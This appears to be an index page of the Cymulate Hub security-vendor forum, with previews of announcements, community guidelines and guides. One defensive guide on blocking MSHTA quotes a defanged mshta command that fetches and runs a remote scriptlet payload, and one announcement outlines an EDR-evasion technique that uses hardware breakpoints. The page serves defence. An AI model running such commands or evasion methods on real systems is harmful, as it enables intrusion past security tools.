Start Here

Welcome! Start your journey by taking a look at our Community Guide and Announcements.

14 Topics

E
Community Manager
Emily RosenfieldCommunity Manager
posted in Announcements

Update on Immediate Threat: ”MoustachedBouncer Targets Diplomats In Belarus”

On August 21, 2023 we uploaded an Immediate Threat by the name ”MoustachedBouncer Targets Diplomats In Belarus” which included several Indicators of Compromise (IOCs).Within the associated IOCs which were uploaded, there were 2 that are not malicious URLs and are legitimate Microsoft URLs.The following URLs are not malicious:http://msftconnecttest.com/redirect http://msftconnecttest.com/connecttest.txtWe have removed this Immediate Threat as well as the reports associated with it. Please ensure that these URLs are accessible from your organization.We apologize for any inconvenience.Best,  The Cymulate Team

0
E
Community Manager
1 month ago
idant
Community Manager
idantCommunity Manager
published in Announcements

Welcome to the extraordinary Cymulate Hub, esteemed members! 🎉

We're absolutely thrilled to have you join us, whether you're a seasoned Cymulator or just taking your first steps. This vibrant community is where industry professionals like yourself come together to share knowledge, exchange brilliant ideas, and elevate your expertise to new heights.As members of the Cymulate community, you gain access to an array of exclusive benefits. Here's a glimpse of the thrilling perks that await you: 🔒 Stay Ahead of the Curve: Our community provides a one-of-a-kind opportunity to stay on the cutting edge of the ever-evolving cybersecurity landscape. Be at the forefront of the latest trends, techniques, and challenges, ensuring you stay ahead of the curve in this dynamic field. 🤝 Connect and Collaborate: Forge meaningful connections with like-minded enthusiasts, seasoned experts, and brilliant thought leaders. Connect with digital security professionals from around the globe, collaborate on exciting projects, and engage in stimulating discussions that expan

930
idant
Community Manager
2 months ago
D
daniel_gomes
posted in Community Guide

How to use mitigation steps to block MSHTA execution scenarios

In this article I will describe how you can use Cymulate's mitigation recommendations to effectively restrict certain attack techniques from occurring in your environment, as recently a lot of questions have arisen involving the use of MSHTA and how to block it I decided to create this quick guide that can be applied in any environment.MSHTA Technique Context:Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Files may be executed by mshta.exe through an inline script: mshtavbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may

0
D
6 months ago
L
leandro_catarina
posted in Community Guide

How to use mitigation steps to block MSHTA execution scenarios

.

0
L
6 months ago
dave_klein
dave_klein
posted in Announcements

IMPORTANT: New EDR evasion vulnerability and proof of concept techniques uncovered by Cymulate. Test to see if you are vulnerable.

Cymulate Discovers Proof of Concept Exploit That Gets Around Many EDR Vendors Cymulate, through its Cymulate Offensive Research Group, has uncovered an exploit technique they have named BlindSide that can be used in Windows operating systems to push malicious code past many EDR vendors.  EDR vendors generally have two different ways to attach to Windows OS. There tying the EDR to ETW telemetry data or they can use DLL hooking.  In the case of EDR vendors who use DLL hooking, Ilan Kalendarov, lead researcher for the Cymulate Offensive Research Group uncovered you can use Windows OS’ and use a hardware breakpoint and debug register used with x86 and x64 processors to inject commands and prevent EDR scanning and protection from occurring. When enabled, he was able to start a new process in debug mode and load it without the hooked EDR and other processes. This is an evasion technique that works against EDR vendors who use DLL hooking and would prevent malicious code from being seen. For a

1
M
9 months ago
dave_klein
dave_klein
asked in Announcements

Cymulate Cybersecurity Newscast

✅ Cisco success story.🎯 Russian propaganda gives away the location of the infamous Wagner group HQ in Ukraine.⚠️ Microsoft critical new recommendations for running Microsoft Exchange.https://www.linkedin.com/posts/cymulate_hi-welcome-to-the-cymulate-cybersecurity-activity-6965308053411741697-hTHD?utm_source=linkedin_share&utm_medium=member_desktop_web 

1
dave_klein
1 year ago
idant
Community Manager
idantCommunity Manager
posted in Community Guide

Welcome and introductions

Hi everyone and welcome to Cymulate Hub! My name is Idan and I’m a Product Community Manager here at Cymulate 👋It's our pleasure to share this space with all of you - Cymulate users, fans, and partners - so that we can collaborate, share knowledge, and network with each other.We'd like you to first introduce yourself in the thread below, tell us a little about yourself, where you work, what role you play, and how you use Cymulate 🔴 🟣 🔵. Let's get to know each other a bit better!  

9
dan_lisichkin
Employee
1 year ago
idant
Community Manager
idantCommunity Manager
published in Announcements

Gartner® Report : Quick Answer: What Are the Top Use Cases for Breach and Attack Simulation Technology?News

Get @Gartner_inc 's Quick Answer guide on what top enterprises get out of Breach and Attack Simulation technology.Read it here >> https://cymulate.com/resources/gartner-report/

1310
idant
Community Manager
1 year ago
idant
Community Manager
idantCommunity Manager
published in Announcements

Top Contributors Giveaway 🎁News

Hey Hat-Trickers!We are excited to announce the top community contributors for the last quarter of 2021:@Aayush  @David_Barrientos  @PickleRick @Adrian_Richings @Michael_YNWA Thank you to these people who have done a lot to help others in the community. Your contributions are appreciated.   Everyone on the list has been contacted with a cool giveaway! Want to be on this list and win cool stuff? Become a top contributor by answering users' questions and adding your own content. Feel free to DM me for more details.  I wish you the best of holidays and keep up the great work! 🎄​​​​​​🎊​​​​​  

1253
nirl
Employee
1 year ago
idant
Community Manager
idantCommunity Manager
published in Community Guide

How to subscribe?Tutorial

How to subscribe to threads and sub-forumsStaying up-to-date on what interests you is easiest if you subscribe to the community. You can always stay informed. Here's how:Subscribing to threads, discussions, questions, and ideasTo subscribe to a thread simply scroll to the bottom of the author’s post, and click on the star. Once you’ve done this, you’ll be notified via email each time that this thread has been updated with a new reply.Subscribing to sub-forumsYou can subscribe to a sub-forum if you find a particular area of the community particularly interesting. To subscribe, simply click on the 'Subscribe' link on the top right of the page. As soon as you do so, you'll receive email notifications of any new discussion posted in this area of the community.  

550
idant
Community Manager
1 year ago
idant
Community Manager
idantCommunity Manager
posted in Announcements

Nice to meet you!

Hello, dear members! I'm Idan, and I'm the Product Community Manager here at Cymulate. I am so happy to be here and I am looking forward to getting to know you soon.Among my responsibilities is to facilitate communication between you and Cymulate, as well as to provide assistance to you in making the most of this tool by learning from each other and from our professional team. Please feel free to ask questions, to add your own content and to participate in conversations. The Hat Trick community is for you - if you have any ideas about what should be added, let me know! You are welcome to edit your profile and to add your name and workplace so that we can learn more about you. Thank you again for joining us! I can’t wait to get to know you all.Cheers! Idan  

0
idant
Community Manager
1 year ago
idant
Community Manager
idantCommunity Manager
published in Community Guide

Do I need to contact Cymulate's Support team or ask the community?

Hey there As you all know, Cymulate Hub is the place where all Cymulate users can connect, share knowledge and expertise, and get inspired. Here, you can get help from your fellow community members and contribute your expertise to help someone else. We encourage employees of Cymulate to participate in certain discussions, though they are not primarily responding, as we want everyone to learn from each other. Cymulate Customer Support team can provide help with issues (billing questions, technical questions, features, etc.) and any other issues. To find more information, please consult the Help Center or contact the Customer Support team.If you've already submitted a ticket, don't duplicate the question in the community. And vice versa, if you've already submitted a community post, don't submit a support request. Keeping our conversation in one place will make it more convenient for both of us.We are so happy to have you here! Thank you for your understanding 

920
idant
Community Manager
2 years ago
idant
Community Manager
idantCommunity Manager
published in Community Guide

Community Guidelines

Welcome to the Cymulate Community! We are happy to have you here! We are here to create a space where Cymulate users can share knowledge, learn, collaborate and connect with one another. In addition to explaining how to act within the community, these Community Guidelines should explain what you can expect from others within the community. Your participation here is subject to these Guidelines and our Terms of Use. Please be respectful and friendlyWe understand that sometimes you may have concerns or issues, but please ensure that you keep things polite and considerate. We’ll do our best to ensure you get the information that you need. Engage with the Community While our moderators will post helpful content, we really want to hear from you! Look around and, if you see a place where you can add your voice and expertise to an existing conversation, or if you want to start your own topic, please do so.  Search First Ask SecondWe’ve got a lot of experts in all areas in this community who a

900
idant
Community Manager
2 years ago
idant
Community Manager
idantCommunity Manager
posted in Community Guide

New here? Start here with 5 quick tips!

 Thank you for joining our community! Let me help you get started with 5 quick tips:  1. Personalize your profile Go to your profile settings and tell us all about you. You can add: A profile picture. Your country of origin.  A signature that will be displayed at the bottom of all of your posts. 2. Don't be afraid to askIf you have a question or wish to start a discussion - that's why you're here, right? Do not hesitate to ask for clarification if you find the reply too technical or complicated. 3. Search before you start a new topicIt's possible that someone has asked the same question before. Use the search bar at the top of every page to quickly search in the community before you start a new question or discussion. If you can’t find the information that you’re looking for, go ahead and create a new topic.  4. Be detailed when you describe your question / issueWhen you have a question or information to share, include as much information as possible in the original post.  5. Be pa

0
idant
Community Manager
2 years ago

Badge winners

  • Conversation Starter
    Patriciahas earned the badge Conversation Starter
  • Conversation Starter
    Steve_Eyrehas earned the badge Conversation Starter
  • Conversation Starter
    hrseohas earned the badge Conversation Starter
  • Rising star
    nirshas earned the badge Rising star
  • Product expert
    Yahav Levinhas earned the badge Product expert
Show all badges
Terms & ConditionsCookie settings